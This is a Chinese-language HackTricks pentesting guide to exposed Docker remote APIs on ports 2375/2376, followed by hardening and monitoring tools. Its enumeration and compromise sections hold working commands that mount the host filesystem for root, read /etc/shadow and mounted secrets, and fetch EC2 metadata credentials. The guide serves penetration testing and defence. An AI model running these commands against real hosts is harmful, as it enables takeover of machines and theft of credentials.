hacktricks/network-services-pentesting/2375-pentesting-docker.md

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## Docker基础知识

### 什么是

Docker是**容器化行业**中的**前沿平台**，引领**持续创新**。它便于轻松创建和分发应用程序，涵盖**传统到未来**的范围，并确保它们在不同环境中的**安全部署**。

### 基本Docker架构

- **[containerd](http://containerd.io)**: 这是容器的**核心运行时**，负责全面**管理容器的生命周期**。这包括处理**镜像传输和存储**，以及监视和网络化容器的**执行**。对containerd的**更详细见解**将进一步探讨。
- **容器shim**在处理**无头容器**时发挥关键作用，它在容器初始化后无缝接管**runc**的任务。
- **[runc](http://runc.io)**: 以其**轻量级和通用容器运行时**功能而闻名，runc符合**OCI标准**。它由containerd用于根据**OCI指南**启动和管理容器，从最初的**libcontainer**发展而来。
- **[grpc](http://www.grpc.io)**对于在containerd和**docker-engine**之间**促进通信**至关重要，确保**高效互动**。
- **[OCI](https://www.opencontainers.org)**对于维护运行时和镜像的**OCI规范**至关重要，最新的Docker版本符合**OCI镜像和运行时**标准。

### 基本命令
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache
```
### Containerd

**Containerd**是专门为像**Docker和Kubernetes**等容器平台的需求而开发的。它旨在通过抽象操作系统特定功能和系统调用，简化在各种操作系统（包括Linux、Windows、Solaris等）上执行容器的过程。Containerd的目标是仅包含其用户所需的基本功能，努力省略不必要的组件。然而，完全实现这一目标被认为是具有挑战性的。

一个关键的设计决定是**Containerd不处理网络**。网络被认为是分布式系统中的一个关键元素，具有诸如软件定义网络（SDN）和服务发现等复杂性，这些复杂性在不同平台之间差异很大。因此，Containerd将网络方面的处理留给了它支持的平台来管理。

虽然**Docker利用Containerd**来运行容器，但重要的是要注意，Containerd仅支持Docker功能的子集。具体来说，Containerd缺乏Docker中存在的网络管理功能，并且不直接支持创建Docker swarms。这种区别突显了Containerd作为容器运行时环境的专注角色，将更专业化的功能委托给其集成的平台。
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
### Podman

**Podman** 是一个遵循[Open Container Initiative (OCI) 标准](https://github.com/opencontainers)的开源容器引擎，由 Red Hat 开发和维护。它与 Docker 有几个明显的特点，尤其是其**无守护程序架构**和对**无根容器**的支持，使用户能够在无需 root 权限的情况下运行容器。

Podman 的设计旨在与 Docker 的 API 兼容，允许使用 Docker CLI 命令。这种兼容性延伸到其生态系统，其中包括诸如**Buildah**用于构建容器镜像和**Skopeo**用于推送、拉取和检查镜像等操作的工具。有关这些工具的更多详细信息，请参阅它们的[GitHub 页面](https://github.com/containers/buildah/tree/master/docs/containertools)。

**主要区别**

- **架构**：与 Docker 的客户端-服务器模型及后台守护程序不同，Podman 在没有守护程序的情况下运行。这种设计意味着容器以启动它们的用户的权限运行，通过消除对 root 访问的需求来增强安全性。

- **Systemd 集成**：Podman 与 **systemd** 集成以管理容器，允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护程序进程的 systemd 的用法形成对比。

- **无根容器**：Podman 的一个关键特点是其能够在启动用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限而不是 root 访问权限，最小化了与容器入侵相关的风险。

Podman 的方法为 Docker 提供了一个安全灵活的替代方案，强调用户权限管理和与现有 Docker 工作流的兼容性。

{% hint style="info" %}
请注意，由于 Podman 旨在支持与 Docker 相同的 API，因此您可以像在 Docker 中一样使用 Podman，例如：
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}

## 基本信息

当启用时，远程 API 默认在 2375 端口上运行。默认情况下，该服务不需要身份验证，允许攻击者启动一个特权的 Docker 容器。通过使用远程 API，可以将主机/（根目录）附加到容器，并读取/写入主机环境中的文件。

**默认端口：** 2375
```
PORT    STATE SERVICE
2375/tcp open  docker
```
## 枚举

### 手动

请注意，为了枚举Docker API，您可以使用`docker`命令或`curl`，就像下面的示例中所示：
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683
```
如果您可以使用`docker`命令**联系远程docker API**，则可以**执行**任何[**先前注释的docker命令**](2375-pentesting-docker.md#basic-commands)来与服务进行交互。

{% hint style="info" %}
您可以`export DOCKER_HOST="tcp://localhost:2375"`，**避免**在docker命令中使用`-H`参数
{% endhint %}

#### 快速提权
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
#### Curl

有时你会看到 **2376** 端口用于 **TLS** 终端。我无法用 docker 客户端连接到它，但可以使用 curl 连接。
```bash
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
如果您想获取更多信息，请查看我复制命令的地方：[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)

### 自动化
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
## Compromising

在以下页面，您可以找到**从 Docker 容器中逃脱**的方法：

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}

滥用这一点，可以从容器中逃脱，您可以在远程机器上运行一个弱容器，从中逃脱，并威胁到该机器：
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)

## 提权

如果您在使用 Docker 的主机内部，您可以[**阅读此信息尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。

## 在运行中的 Docker 容器中发现秘密
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
检查**env**（环境变量部分）以查找秘密信息，可能会发现：

- 密码。
- IP地址。
- 端口。
- 路径。
- 其他… 。

如果要提取文件：
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
## 保护您的Docker

### 保护Docker安装和使用

* 您可以使用工具[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)来检查您当前的Docker安装。
* `./docker-bench-security.sh`
* 您可以使用工具[https://github.com/kost/dockscan](https://github.com/kost/dockscan)来检查您当前的Docker安装。
* `dockscan -v unix:///var/run/docker.sock`
* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行容器时容器将具有的特权。这对于了解使用某些安全选项运行容器的影响很有用：
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`

### 保护Docker镜像

* 您可以使用[https://github.com/quay/clair](https://github.com/quay/clair)的Docker镜像来扫描您的其他Docker镜像并查找漏洞。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`

### 保护Dockerfiles

* 您可以使用工具[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都将被赋予一个ID，您可以在[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)找到如何修复每个错误。
* `dockerfilelinter -f Dockerfile`

![](<../.gitbook/assets/image (418).png>)

* 您可以使用工具[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerfilelint Dockerfile`

![](<../.gitbook/assets/image (419).png>)

* 您可以使用工具[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerlint Dockerfile`

![](<../.gitbook/assets/image (420).png>)

* 您可以使用工具[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)来**检查您的Dockerfile**并找到各种配置错误。
* `hadolint Dockerfile`

![](<../.gitbook/assets/image (421).png>)

### 记录可疑活动

* 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测**运行容器中的可疑行为**。
* 请注意下面的代码块中**Falco如何编译内核模块并插入**。之后，它加载规则并**开始记录可疑活动**。在这种情况下，它检测到启动了2个特权容器，其中一个带有敏感挂载点，几秒钟后检测到一个容器内打开了一个shell。
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
### 监控 Docker

您可以使用 auditd 来监控 Docker。

## 参考
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)